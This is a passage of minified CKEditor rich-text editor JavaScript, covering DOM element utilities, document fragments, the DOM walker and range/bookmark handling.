a)return true;return false},isEditable:function(a){var d=this.getName();if(this.isReadOnly()||this.getComputedStyle("display")=="none"||this.getComputedStyle("visibility")=="hidden"||CKEDITOR.dtd.$nonEditable[d]||CKEDITOR.dtd.$empty[d]||this.is("a")&&(this.data("cke-saved-name")||this.hasAttribute("name"))&&!this.getChildCount())return false;if(a!==false){a=CKEDITOR.dtd[d]||CKEDITOR.dtd.span;return!(!a||!a["#"])}return true},isIdentical:function(a){var d=this.clone(0,1),a=a.clone(0,1);d.removeAttributes(["_moz_dirty",
"data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);a.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);if(d.$.isEqualNode){d.$.style.cssText=CKEDITOR.tools.normalizeCssText(d.$.style.cssText);a.$.style.cssText=CKEDITOR.tools.normalizeCssText(a.$.style.cssText);return d.$.isEqualNode(a.$)}d=d.getOuterHtml();a=a.getOuterHtml();if(CKEDITOR.env.ie&&CKEDITOR.env.version<9&&this.is("a")){var b=this.getParent();if(b.type==CKEDITOR.NODE_ELEMENT){b=
b.clone();b.setHtml(d);d=b.getHtml();b.setHtml(a);a=b.getHtml()}}return d==a},isVisible:function(){var a=(this.$.offsetHeight||this.$.offsetWidth)&&this.getComputedStyle("visibility")!="hidden",d,b;if(a&&CKEDITOR.env.webkit){d=this.getWindow();if(!d.equals(CKEDITOR.document.getWindow())&&(b=d.$.frameElement))a=(new CKEDITOR.dom.element(b)).isVisible()}return!!a},isEmptyInlineRemoveable:function(){if(!CKEDITOR.dtd.$removeEmpty[this.getName()])return false;for(var a=this.getChildren(),d=0,b=a.count();d<
b;d++){var c=a.getItem(d);if(!(c.type==CKEDITOR.NODE_ELEMENT&&c.data("cke-bookmark"))&&(c.type==CKEDITOR.NODE_ELEMENT&&!c.isEmptyInlineRemoveable()||c.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(c.getText())))return false}return true},hasAttributes:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(){for(var a=this.$.attributes,d=0;d<a.length;d++){var b=a[d];switch(b.nodeName){case "class":if(this.getAttribute("class"))return true;case "data-cke-expando":continue;default:if(b.specified)return true}}return false}:
function(){var a=this.$.attributes,d=a.length,b={"data-cke-expando":1,_moz_dirty:1};return d>0&&(d>2||!b[a[0].nodeName]||d==2&&!b[a[1].nodeName])},hasAttribute:function(){function a(d){var e=this.$.attributes.getNamedItem(d);if(this.getName()=="input")switch(d){case "class":return this.$.className.length>0;case "checked":return!!this.$.checked;case "value":d=this.getAttribute("type");return d=="checkbox"||d=="radio"?this.$.value!="on":!!this.$.value}return!e?false:e.specified}return CKEDITOR.env.ie?
CKEDITOR.env.version<8?function(d){return d=="name"?!!this.$.name:a.call(this,d)}:a:function(a){return!!this.$.attributes.getNamedItem(a)}}(),hide:function(){this.setStyle("display","none")},moveChildren:function(a,d){var b=this.$,a=a.$;if(b!=a){var c;if(d)for(;c=b.lastChild;)a.insertBefore(b.removeChild(c),a.firstChild);else for(;c=b.firstChild;)a.appendChild(b.removeChild(c))}},mergeSiblings:function(){function a(d,b,e){if(b&&b.type==CKEDITOR.NODE_ELEMENT){for(var c=[];b.data("cke-bookmark")||b.isEmptyInlineRemoveable();){c.push(b);
b=e?b.getNext():b.getPrevious();if(!b||b.type!=CKEDITOR.NODE_ELEMENT)return}if(d.isIdentical(b)){for(var f=e?d.getLast():d.getFirst();c.length;)c.shift().move(d,!e);b.moveChildren(d,!e);b.remove();f&&f.type==CKEDITOR.NODE_ELEMENT&&f.mergeSiblings()}}}return function(d){if(d===false||CKEDITOR.dtd.$removeEmpty[this.getName()]||this.is("a")){a(this,this.getNext(),true);a(this,this.getPrevious())}}}(),show:function(){this.setStyles({display:"",visibility:""})},setAttribute:function(){var a=function(a,
b){this.$.setAttribute(a,b);return this};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(d,b){d=="class"?this.$.className=b:d=="style"?this.$.style.cssText=b:d=="tabindex"?this.$.tabIndex=b:d=="checked"?this.$.checked=b:d=="contenteditable"?a.call(this,"contentEditable",b):a.apply(this,arguments);return this}:CKEDITOR.env.ie8Compat&&CKEDITOR.env.secure?function(d,b){if(d=="src"&&b.match(/^http:\/\//))try{a.apply(this,arguments)}catch(c){}else a.apply(this,arguments);
return this}:a}(),setAttributes:function(a){for(var d in a)this.setAttribute(d,a[d]);return this},setValue:function(a){this.$.value=a;return this},removeAttribute:function(){var a=function(a){this.$.removeAttribute(a)};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){a=="class"?a="className":a=="tabindex"?a="tabIndex":a=="contenteditable"&&(a="contentEditable");this.$.removeAttribute(a)}:a}(),removeAttributes:function(a){if(CKEDITOR.tools.isArray(a))for(var b=0;b<
a.length;b++)this.removeAttribute(a[b]);else for(b in a)a.hasOwnProperty(b)&&this.removeAttribute(b)},removeStyle:function(a){var b=this.$.style;if(!b.removeProperty&&(a=="border"||a=="margin"||a=="padding")){var c=["top","left","right","bottom"],f;a=="border"&&(f=["color","style","width"]);for(var b=[],j=0;j<c.length;j++)if(f)for(var g=0;g<f.length;g++)b.push([a,c[j],f[g]].join("-"));else b.push([a,c[j]].join("-"));for(a=0;a<b.length;a++)this.removeStyle(b[a])}else{b.removeProperty?b.removeProperty(a):
b.removeAttribute(CKEDITOR.tools.cssStyleToDomStyle(a));this.$.style.cssText||this.removeAttribute("style")}},setStyle:function(a,b){this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]=b;return this},setStyles:function(a){for(var b in a)this.setStyle(b,a[b]);return this},setOpacity:function(a){if(CKEDITOR.env.ie&&CKEDITOR.env.version<9){a=Math.round(a*100);this.setStyle("filter",a>=100?"":"progid:DXImageTransform.Microsoft.Alpha(opacity="+a+")")}else this.setStyle("opacity",a)},unselectable:function(){this.setStyles(CKEDITOR.tools.cssVendorPrefix("user-select",
"none"));if(CKEDITOR.env.ie){this.setAttribute("unselectable","on");for(var a,b=this.getElementsByTag("*"),c=0,f=b.count();c<f;c++){a=b.getItem(c);a.setAttribute("unselectable","on")}}},getPositionedAncestor:function(){for(var a=this;a.getName()!="html";){if(a.getComputedStyle("position")!="static")return a;a=a.getParent()}return null},getDocumentPosition:function(a){var b=0,c=0,f=this.getDocument(),j=f.getBody(),g=CKEDITOR.env.quirks;if(document.documentElement.getBoundingClientRect){var m=this.$.getBoundingClientRect(),
y=f.$.documentElement,s=y.clientTop||j.$.clientTop||0,w=y.clientLeft||j.$.clientLeft||0,q=true;if(CKEDITOR.env.ie){q=f.getDocumentElement().contains(this);f=f.getBody().contains(this);q=g&&f||!g&&q}if(q){if(CKEDITOR.env.webkit){b=j.$.scrollLeft||y.scrollLeft;c=j.$.scrollTop||y.scrollTop}else{c=g?j.$:y;b=c.scrollLeft;c=c.scrollTop}b=m.left+b-w;c=m.top+c-s}}else{s=this;for(w=null;s&&!(s.getName()=="body"||s.getName()=="html");){b=b+(s.$.offsetLeft-s.$.scrollLeft);c=c+(s.$.offsetTop-s.$.scrollTop);if(!s.equals(this)){b=
b+(s.$.clientLeft||0);c=c+(s.$.clientTop||0)}for(;w&&!w.equals(s);){b=b-w.$.scrollLeft;c=c-w.$.scrollTop;w=w.getParent()}w=s;s=(m=s.$.offsetParent)?new CKEDITOR.dom.element(m):null}}if(a){m=this.getWindow();s=a.getWindow();if(!m.equals(s)&&m.$.frameElement){a=(new CKEDITOR.dom.element(m.$.frameElement)).getDocumentPosition(a);b=b+a.x;c=c+a.y}}if(!document.documentElement.getBoundingClientRect&&CKEDITOR.env.gecko&&!g){b=b+(this.$.clientLeft?1:0);c=c+(this.$.clientTop?1:0)}return{x:b,y:c}},scrollIntoView:function(a){var b=
this.getParent();if(b){do{(b.$.clientWidth&&b.$.clientWidth<b.$.scrollWidth||b.$.clientHeight&&b.$.clientHeight<b.$.scrollHeight)&&!b.is("body")&&this.scrollIntoParent(b,a,1);if(b.is("html")){var c=b.getWindow();try{var f=c.$.frameElement;f&&(b=new CKEDITOR.dom.element(f))}catch(j){}}}while(b=b.getParent())}},scrollIntoParent:function(a,b,c){var f,j,g,m;function y(b,d){if(/body|html/.test(a.getName()))a.getWindow().$.scrollBy(b,d);else{a.$.scrollLeft=a.$.scrollLeft+b;a.$.scrollTop=a.$.scrollTop+d}}
function s(a,b){var d={x:0,y:0};if(!a.is(q?"body":"html")){var c=a.$.getBoundingClientRect();d.x=c.left;d.y=c.top}c=a.getWindow();if(!c.equals(b)){c=s(CKEDITOR.dom.element.get(c.$.frameElement),b);d.x=d.x+c.x;d.y=d.y+c.y}return d}function w(a,b){return parseInt(a.getComputedStyle("margin-"+b)||0,10)||0}!a&&(a=this.getWindow());g=a.getDocument();var q=g.$.compatMode=="BackCompat";a instanceof CKEDITOR.dom.window&&(a=q?g.getBody():g.getDocumentElement());g=a.getWindow();j=s(this,g);var t=s(a,g),i=this.$.offsetHeight;
f=this.$.offsetWidth;var A=a.$.clientHeight,u=a.$.clientWidth;g=j.x-w(this,"left")-t.x||0;m=j.y-w(this,"top")-t.y||0;f=j.x+f+w(this,"right")-(t.x+u)||0;j=j.y+i+w(this,"bottom")-(t.y+A)||0;if(m<0||j>0)y(0,b===true?m:b===false?j:m<0?m:j);if(c&&(g<0||f>0))y(g<0?g:f,0)},setState:function(a,b,c){b=b||"cke";switch(a){case CKEDITOR.TRISTATE_ON:this.addClass(b+"_on");this.removeClass(b+"_off");this.removeClass(b+"_disabled");c&&this.setAttribute("aria-pressed",true);c&&this.removeAttribute("aria-disabled");
break;case CKEDITOR.TRISTATE_DISABLED:this.addClass(b+"_disabled");this.removeClass(b+"_off");this.removeClass(b+"_on");c&&this.setAttribute("aria-disabled",true);c&&this.removeAttribute("aria-pressed");break;default:this.addClass(b+"_off");this.removeClass(b+"_on");this.removeClass(b+"_disabled");c&&this.removeAttribute("aria-pressed");c&&this.removeAttribute("aria-disabled")}},getFrameDocument:function(){var a=this.$;try{a.contentWindow.document}catch(b){a.src=a.src}return a&&new CKEDITOR.dom.document(a.contentWindow.document)},
copyAttributes:function(a,b){for(var c=this.$.attributes,b=b||{},f=0;f<c.length;f++){var j=c[f],g=j.nodeName.toLowerCase(),m;if(!(g in b))if(g=="checked"&&(m=this.getAttribute(g)))a.setAttribute(g,m);else if(!CKEDITOR.env.ie||this.hasAttribute(g)){m=this.getAttribute(g);if(m===null)m=j.nodeValue;a.setAttribute(g,m)}}if(this.$.style.cssText!=="")a.$.style.cssText=this.$.style.cssText},renameNode:function(a){if(this.getName()!=a){var b=this.getDocument(),a=new CKEDITOR.dom.element(a,b);this.copyAttributes(a);
this.moveChildren(a);this.getParent()&&this.$.parentNode.replaceChild(a.$,this.$);a.$["data-cke-expando"]=this.$["data-cke-expando"];this.$=a.$;delete this.getName}},getChild:function(){function a(b,c){var e=b.childNodes;if(c>=0&&c<e.length)return e[c]}return function(b){var c=this.$;if(b.slice)for(;b.length>0&&c;)c=a(c,b.shift());else c=a(c,b);return c?new CKEDITOR.dom.node(c):null}}(),getChildCount:function(){return this.$.childNodes.length},disableContextMenu:function(){this.on("contextmenu",function(a){a.data.getTarget().hasClass("cke_enable_context_menu")||
a.data.preventDefault()})},getDirection:function(a){return a?this.getComputedStyle("direction")||this.getDirection()||this.getParent()&&this.getParent().getDirection(1)||this.getDocument().$.dir||"ltr":this.getStyle("direction")||this.getAttribute("dir")},data:function(a,b){a="data-"+a;if(b===void 0)return this.getAttribute(a);b===false?this.removeAttribute(a):this.setAttribute(a,b);return null},getEditor:function(){var a=CKEDITOR.instances,b,c;for(b in a){c=a[b];if(c.element.equals(this)&&c.elementMode!=
CKEDITOR.ELEMENT_MODE_APPENDTO)return c}return null},find:function(b){var c=a(this),b=new CKEDITOR.dom.nodeList(this.$.querySelectorAll(f(this,b)));c();return b},findOne:function(b){var c=a(this),b=this.$.querySelector(f(this,b));c();return b?new CKEDITOR.dom.element(b):null},forEach:function(a,b,c){if(!c&&(!b||this.type==b))var f=a(this);if(f!==false)for(var c=this.getChildren(),j=0;j<c.count();j++){f=c.getItem(j);f.type==CKEDITOR.NODE_ELEMENT?f.forEach(a,b):(!b||f.type==b)&&a(f)}}});var c={width:["border-left-width",
"border-right-width","padding-left","padding-right"],height:["border-top-width","border-bottom-width","padding-top","padding-bottom"]};CKEDITOR.dom.element.prototype.setSize=function(a,c,f){if(typeof c=="number"){if(f&&(!CKEDITOR.env.ie||!CKEDITOR.env.quirks))c=c-b.call(this,a);this.setStyle(a,c+"px")}};CKEDITOR.dom.element.prototype.getSize=function(a,c){var f=Math.max(this.$["offset"+CKEDITOR.tools.capitalize(a)],this.$["client"+CKEDITOR.tools.capitalize(a)])||0;c&&(f=f-b.call(this,a));return f}})();
CKEDITOR.dom.documentFragment=function(a){a=a||CKEDITOR.document;this.$=a.type==CKEDITOR.NODE_DOCUMENT?a.$.createDocumentFragment():a};
CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,insertAfterNode:function(a){a=a.$;a.parentNode.insertBefore(this.$,a.nextSibling)}},!0,{append:1,appendBogus:1,getFirst:1,getLast:1,getParent:1,getNext:1,getPrevious:1,appendTo:1,moveChildren:1,insertBefore:1,insertAfterNode:1,replace:1,trim:1,type:1,ltrim:1,rtrim:1,getDocument:1,getChildCount:1,getChild:1,getChildren:1});
(function(){function a(a,b){var c=this.range;if(this._.end)return null;if(!this._.start){this._.start=1;if(c.collapsed){this.end();return null}c.optimize()}var d,e=c.startContainer;d=c.endContainer;var m=c.startOffset,f=c.endOffset,h,o=this.guard,l=this.type,p=a?"getPreviousSourceNode":"getNextSourceNode";if(!a&&!this._.guardLTR){var r=d.type==CKEDITOR.NODE_ELEMENT?d:d.getParent(),n=d.type==CKEDITOR.NODE_ELEMENT?d.getChild(f):d.getNext();this._.guardLTR=function(a,b){return(!b||!r.equals(a))&&(!n||
!a.equals(n))&&(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}if(a&&!this._.guardRTL){var g=e.type==CKEDITOR.NODE_ELEMENT?e:e.getParent(),C=e.type==CKEDITOR.NODE_ELEMENT?m?e.getChild(m-1):null:e.getPrevious();this._.guardRTL=function(a,b){return(!b||!g.equals(a))&&(!C||!a.equals(C))&&(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}var j=a?this._.guardRTL:this._.guardLTR;h=o?function(a,b){return j(a,b)===false?false:o(a,b)}:j;if(this.current)d=this.current[p](false,l,h);else{if(a)d.type==
CKEDITOR.NODE_ELEMENT&&(d=f>0?d.getChild(f-1):h(d,true)===false?null:d.getPreviousSourceNode(true,l,h));else{d=e;if(d.type==CKEDITOR.NODE_ELEMENT&&!(d=d.getChild(m)))d=h(e,true)===false?null:e.getNextSourceNode(true,l,h)}d&&h(d)===false&&(d=null)}for(;d&&!this._.end;){this.current=d;if(!this.evaluator||this.evaluator(d)!==false){if(!b)return d}else if(b&&this.evaluator)return false;d=d[p](false,l,h)}this.end();return this.current=null}function f(b){for(var c,d=null;c=a.call(this,b);)d=c;return d}
function b(a){if(g(a))return false;if(a.type==CKEDITOR.NODE_TEXT)return true;if(a.type==CKEDITOR.NODE_ELEMENT){if(a.is(CKEDITOR.dtd.$inline)||a.is("hr")||a.getAttribute("contenteditable")=="false")return true;var b;if(b=!CKEDITOR.env.needsBrFiller)if(b=a.is(m))a:{b=0;for(var c=a.getChildCount();b<c;++b)if(!g(a.getChild(b))){b=false;break a}b=true}if(b)return true}return false}CKEDITOR.dom.walker=CKEDITOR.tools.createClass({$:function(a){this.range=a;this._={}},proto:{end:function(){this._.end=1},
next:function(){return a.call(this)},previous:function(){return a.call(this,1)},checkForward:function(){return a.call(this,0,1)!==false},checkBackward:function(){return a.call(this,1,1)!==false},lastForward:function(){return f.call(this)},lastBackward:function(){return f.call(this,1)},reset:function(){delete this.current;this._={}}}});var c={block:1,"list-item":1,table:1,"table-row-group":1,"table-header-group":1,"table-footer-group":1,"table-row":1,"table-column-group":1,"table-column":1,"table-cell":1,
"table-caption":1},e={absolute:1,fixed:1};CKEDITOR.dom.element.prototype.isBlockBoundary=function(a){return this.getComputedStyle("float")=="none"&&!(this.getComputedStyle("position")in e)&&c[this.getComputedStyle("display")]?true:!!(this.is(CKEDITOR.dtd.$block)||a&&this.is(a))};CKEDITOR.dom.walker.blockBoundary=function(a){return function(b){return!(b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundary(a))}};CKEDITOR.dom.walker.listItemBoundary=function(){return this.blockBoundary({br:1})};CKEDITOR.dom.walker.bookmark=
function(a,b){function c(a){return a&&a.getName&&a.getName()=="span"&&a.data("cke-bookmark")}return function(d){var e,m;e=d&&d.type!=CKEDITOR.NODE_ELEMENT&&(m=d.getParent())&&c(m);e=a?e:e||c(d);return!!(b^e)}};CKEDITOR.dom.walker.whitespaces=function(a){return function(b){var c;b&&b.type==CKEDITOR.NODE_TEXT&&(c=!CKEDITOR.tools.trim(b.getText())||CKEDITOR.env.webkit&&b.getText()=="​");return!!(a^c)}};CKEDITOR.dom.walker.invisible=function(a){var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.env.webkit?
1:0;return function(d){if(b(d))d=1;else{d.type==CKEDITOR.NODE_TEXT&&(d=d.getParent());d=d.$.offsetWidth<=c}return!!(a^d)}};CKEDITOR.dom.walker.nodeType=function(a,b){return function(c){return!!(b^c.type==a)}};CKEDITOR.dom.walker.bogus=function(a){function b(a){return!h(a)&&!k(a)}return function(c){var e=CKEDITOR.env.needsBrFiller?c.is&&c.is("br"):c.getText&&d.test(c.getText());if(e){e=c.getParent();c=c.getNext(b);e=e.isBlockBoundary()&&(!c||c.type==CKEDITOR.NODE_ELEMENT&&c.isBlockBoundary())}return!!(a^
e)}};CKEDITOR.dom.walker.temp=function(a){return function(b){b.type!=CKEDITOR.NODE_ELEMENT&&(b=b.getParent());b=b&&b.hasAttribute("data-cke-temp");return!!(a^b)}};var d=/^[\t\r\n ]*(?:&nbsp;|\xa0)$/,h=CKEDITOR.dom.walker.whitespaces(),k=CKEDITOR.dom.walker.bookmark(),j=CKEDITOR.dom.walker.temp();CKEDITOR.dom.walker.ignored=function(a){return function(b){b=h(b)||k(b)||j(b);return!!(a^b)}};var g=CKEDITOR.dom.walker.ignored(),m=function(a){var b={},c;for(c in a)CKEDITOR.dtd[c]["#"]&&(b[c]=1);return b}(CKEDITOR.dtd.$block);
CKEDITOR.dom.walker.editable=function(a){return function(c){return!!(a^b(c))}};CKEDITOR.dom.element.prototype.getBogus=function(){var a=this;do a=a.getPreviousSourceNode();while(k(a)||h(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.is(CKEDITOR.dtd.$inline)&&!a.is(CKEDITOR.dtd.$empty));return a&&(CKEDITOR.env.needsBrFiller?a.is&&a.is("br"):a.getText&&d.test(a.getText()))?a:false}})();
CKEDITOR.dom.range=function(a){this.endOffset=this.endContainer=this.startOffset=this.startContainer=null;this.collapsed=true;var f=a instanceof CKEDITOR.dom.document;this.document=f?a:a.getDocument();this.root=f?a.getBody():a};
(function(){function a(){var a=false,b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(true),e=CKEDITOR.dom.walker.bogus();return function(f){if(c(f)||b(f))return true;if(e(f)&&!a)return a=true;return f.type==CKEDITOR.NODE_TEXT&&(f.hasAscendant("pre")||CKEDITOR.tools.trim(f.getText()).length)||f.type==CKEDITOR.NODE_ELEMENT&&!f.is(d)?false:true}}function f(a){var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(1);return function(d){return c(d)||b(d)?true:!a&&h(d)||
d.type==CKEDITOR.NODE_ELEMENT&&d.is(CKEDITOR.dtd.$removeEmpty)}}function b(a){return function(){var b;return this[a?"getPreviousNode":"getNextNode"](function(a){!b&&g(a)&&(b=a);return j(a)&&!(h(a)&&a.equals(b))})}}var c=function(a){a.collapsed=a.startContainer&&a.endContainer&&a.startContainer.equals(a.endContainer)&&a.startOffset==a.endOffset},e=function(a,b,c,d){a.optimizeBookmark();var e=a.startContainer,f=a.endContainer,i=a.startOffset,A=a.endOffset,h,o;if(f.type==CKEDITOR.NODE_TEXT)f=f.split(A);
else if(f.getChildCount()>0)if(A>=f.getChildCount()){f=f.append(a.document.createText(""));o=true}else f=f.getChild(A);if(e.type==CKEDITOR.NODE_TEXT){e.split(i);e.equals(f)&&(f=e.getNext())}else if(i)if(i>=e.getChildCount()){e=e.append(a.document.createText(""));h=true}else e=e.getChild(i).getPrevious();else{e=e.append(a.document.createText(""),1);h=true}var i=e.getParents(),A=f.getParents(),l,p,r;for(l=0;l<i.length;l++){p=i[l];r=A[l];if(!p.equals(r))break}for(var n=c,g,C,j,F=l;F<i.length;F++){g=
i[F];n&&!g.equals(e)&&(C=n.append(g.clone()));for(g=g.getNext();g;){if(g.equals(A[F])||g.equals(f))break;j=g.getNext();if(b==2)n.append(g.clone(true));else{g.remove();b==1&&n.append(g)}g=j}n&&(n=C)}n=c;for(c=l;c<A.length;c++){g=A[c];b>0&&!g.equals(f)&&(C=n.append(g.clone()));if(!i[c]||g.$.parentNode!=i[c].$.parentNode)for(g=g.getPrevious();g;){if(g.equals(i[c])||g.equals(e))break;j=g.getPrevious();if(b==2)n.$.insertBefore(g.$.cloneNode(true),n.$.firstChild);else{g.remove();b==1&&n.$.insertBefore(g.$,
n.$.firstChild)}g=j}n&&(n=C)}if(b==2){p=a.startContainer;if(p.type==CKEDITOR.NODE_TEXT){p.$.data=p.$.data+p.$.nextSibling.data;p.$.parentNode.removeChild(p.$.nextSibling)}a=a.endContainer;if(a.type==CKEDITOR.NODE_TEXT&&a.$.nextSibling){a.$.data=a.$.data+a.$.nextSibling.data;a.$.parentNode.removeChild(a.$.nextSibling)}}else{if(p&&r&&(e.$.parentNode!=p.$.parentNode||f.$.parentNode!=r.$.parentNode)){b=r.getIndex();h&&r.$.parentNode==e.$.parentNode&&b--;if(d&&p.type==CKEDITOR.NODE_ELEMENT){d=CKEDITOR.dom.element.createFromHtml('<span data-cke-bookmark="1" style="display:none">&nbsp;</span>',
a.document);d.insertAfter(p);p.mergeSiblings(false);a.moveToBookmark({startNode:d})}else a.setStart(r.getParent(),b)}a.collapse(true)}h&&e.remove();o&&f.$.parentNode&&f.remove()},d={abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,"var":1},h=CKEDITOR.dom.walker.bogus(),k=/^[\t\r\n ]*(?:&nbsp;|\xa0)$/,j=CKEDITOR.dom.walker.editable(),g=CKEDITOR.dom.walker.ignored(true);CKEDITOR.dom.range.prototype=
{clone:function(){var a=new CKEDITOR.dom.range(this.root);a._setStartContainer(this.startContainer);a.startOffset=this.startOffset;a._setEndContainer(this.endContainer);a.endOffset=this.endOffset;a.collapsed=this.collapsed;return a},collapse:function(a){if(a){this._setEndContainer(this.startContainer);this.endOffset=this.startOffset}else{this._setStartContainer(this.endContainer);this.startOffset=this.endOffset}this.collapsed=true},cloneContents:function(){var a=new CKEDITOR.dom.documentFragment(this.document);
this.collapsed||e(this,2,a);return a},deleteContents:function(a){this.collapsed||e(this,0,null,a)},extractContents:function(a){var b=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||e(this,1,b,a);return b},createBookmark:function(a){var b,c,d,e,f=this.collapsed;b=this.document.createElement("span");b.data("cke-bookmark",1);b.setStyle("display","none");b.setHtml("&nbsp;");if(a){d="cke_bm_"+CKEDITOR.tools.getNextNumber();b.setAttribute("id",d+(f?"C":"S"))}if(!f){c=b.clone();c.setHtml("&nbsp;");
a&&c.setAttribute("id",d+"E");e=this.clone();e.collapse();e.insertNode(c)}e=this.clone();e.collapse(true);e.insertNode(b);if(c){this.setStartAfter(b);this.setEndBefore(c)}else this.moveToPosition(b,CKEDITOR.POSITION_AFTER_END);return{startNode:a?d+(f?"C":"S"):b,endNode:a?d+"E":c,serializable:a,collapsed:f}},createBookmark2:function(){function a(c){var d=c.container,e=c.offset,f;f=d;var m=e;f=f.type!=CKEDITOR.NODE_ELEMENT||m===0||m==f.getChildCount()?0:f.getChild(m-1).type==CKEDITOR.NODE_TEXT&&f.getChild(m).type==
CKEDITOR.NODE_TEXT;if(f){d=d.getChild(e-1);e=d.getLength()}d.type==CKEDITOR.NODE_ELEMENT&&e>1&&(e=d.getChild(e-1).getIndex(true)+1);if(d.type==CKEDITOR.NODE_TEXT){f=d;for(m=0;(f=f.getPrevious())&&f.type==CKEDITOR.NODE_TEXT;)m=m+f.getLength();f=m;if(d.getText())e=e+f;else{m=d.getPrevious(b);if(f){e=f;d=m?m.getNext():d.getParent().getFirst()}else{d=d.getParent();e=m?m.getIndex(true)+1:0}}}c.container=d;c.offset=e}var b=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_TEXT,true);return function(b){var c=this.collapsed,
d={container:this.startContainer,offset:this.startOffset},e={container:this.endContainer,offset:this.endOffset};if(b){a(d);c||a(e)}return{start:d.container.getAddress(b),end:c?null:e.container.getAddress(b),startOffset:d.offset,endOffset:e.offset,normalized:b,collapsed:c,is2:true}}}(),moveToBookmark:function(a){if(a.is2){var b=this.document.getByAddress(a.start,a.normalized),c=a.startOffset,d=a.end&&this.document.getByAddress(a.end,a.normalized),a=a.endOffset;this.setStart(b,c);d?this.setEnd(d,a):
this.collapse(true)}else{b=(c=a.serializable)?this.document.getById(a.startNode):a.startNode;a=c?this.document.getById(a.endNode):a.endNode;this.setStartBefore(b);b.remove();if(a){this.setEndBefore(a);a.remove()}else this.collapse(true)}},getBoundaryNodes:function(){var a=this.startContainer,b=this.endContainer,c=this.startOffset,d=this.endOffset,e;if(a.type==CKEDITOR.NODE_ELEMENT){e=a.getChildCount();if(e>c)a=a.getChild(c);else if(e<1)a=a.getPreviousSourceNode();else{for(a=a.$;a.lastChild;)a=a.lastChild;
a=new CKEDITOR.dom.node(a);a=a.getNextSourceNode()||a}}if(b.type==CKEDITOR.NODE_ELEMENT){e=b.getChildCount();if(e>d)b=b.getChild(d).getPreviousSourceNode(true);else if(e<1)b=b.getPreviousSourceNode();else{for(b=b.$;b.lastChild;)b=b.lastChild;b=new CKEDITOR.dom.node(b)}}a.getPosition(b)&CKEDITOR.POSITION_FOLLOWING&&(a=b);return{startNode:a,endNode:b}},getCommonAncestor:function(a,b){var c=this.startContainer,d=this.endContainer,c=c.equals(d)?a&&c.type==CKEDITOR.NODE_ELEMENT&&this.startOffset==this.endOffset-
1?c.getChild(this.startOffset):c:c.getCommonAncestor(d);return b&&!c.is?c.getParent():c},optimize:function(){var a=this.startContainer,b=this.startOffset;a.type!=CKEDITOR.NODE_ELEMENT&&(b?b>=a.getLength()&&this.setStartAfter(a):this.setStartBefore(a));a=this.endContainer;b=this.endOffset;a.type!=CKEDITOR.NODE_ELEMENT&&(b?b>=a.getLength()&&this.setEndAfter(a):this.setEndBefore(a))},optimizeBookmark:function(){var a=this.startContainer,b=this.endContainer;a.is&&(a.is("span")&&a.data("cke-bookmark"))&&
this.setStartAt(a,CKEDITOR.POSITION_BEFORE_START);b&&(b.is&&b.is("span")&&b.data("cke-bookmark"))&&this.setEndAt(b,CKEDITOR.POSITION_AFTER_END)},trim:function(a,b){var c=this.startContainer,d=this.startOffset,e=this.collapsed;if((!a||e)&&c&&c.type==CKEDITOR.NODE_TEXT){if(d)if(d>=c.getLength()){d=c.getIndex()+1;c=c.getParent()}else{var f=c.split(d),d=c.getIndex()+1,c=c.getParent();if(this.startContainer.equals(this.endContainer))this.setEnd(f,this.endOffset-this.startOffset);else if(c.equals(this.endContainer))this.endOffset=
this.endOffset+1}else{d=c.getIndex();c=c.getParent()}this.setStart(c,d);if(e){this.collapse(true);return}}c=this.endContainer;d=this.endOffset;if(!b&&!e&&c&&c.type==CKEDITOR.NODE_TEXT){if(d){d>=c.getLength()||c.split(d);d=c.getIndex()+1}else d=c.getIndex();c=c.getParent();this.setEnd(c,d)}},enlarge:function(a,b){function c(a){return a&&a.type==CKEDITOR.NODE_ELEMENT&&a.hasAttribute("contenteditable")?null:a}var d=RegExp(/[^\s\ufeff]/);switch(a){case CKEDITOR.ENLARGE_INLINE:var e=1;case CKEDITOR.ENLARGE_ELEMENT:if(this.collapsed)break;
var f=this.getCommonAncestor(),i=this.root,h,g,o,l,p,r=false,n,j;n=this.startContainer;var C=this.startOffset;if(n.type==CKEDITOR.NODE_TEXT){if(C){n=!CKEDITOR.tools.trim(n.substring(0,C)).length&&n;r=!!n}if(n&&!(l=n.getPrevious()))o=n.getParent()}else{C&&(l=n.getChild(C-1)||n.getLast());l||(o=n)}for(o=c(o);o||l;){if(o&&!l){!p&&o.equals(f)&&(p=true);if(e?o.isBlockBoundary():!i.contains(o))break;if(!r||o.getComputedStyle("display")!="inline"){r=false;p?h=o:this.setStartBefore(o)}l=o.getPrevious()}for(;l;){n=
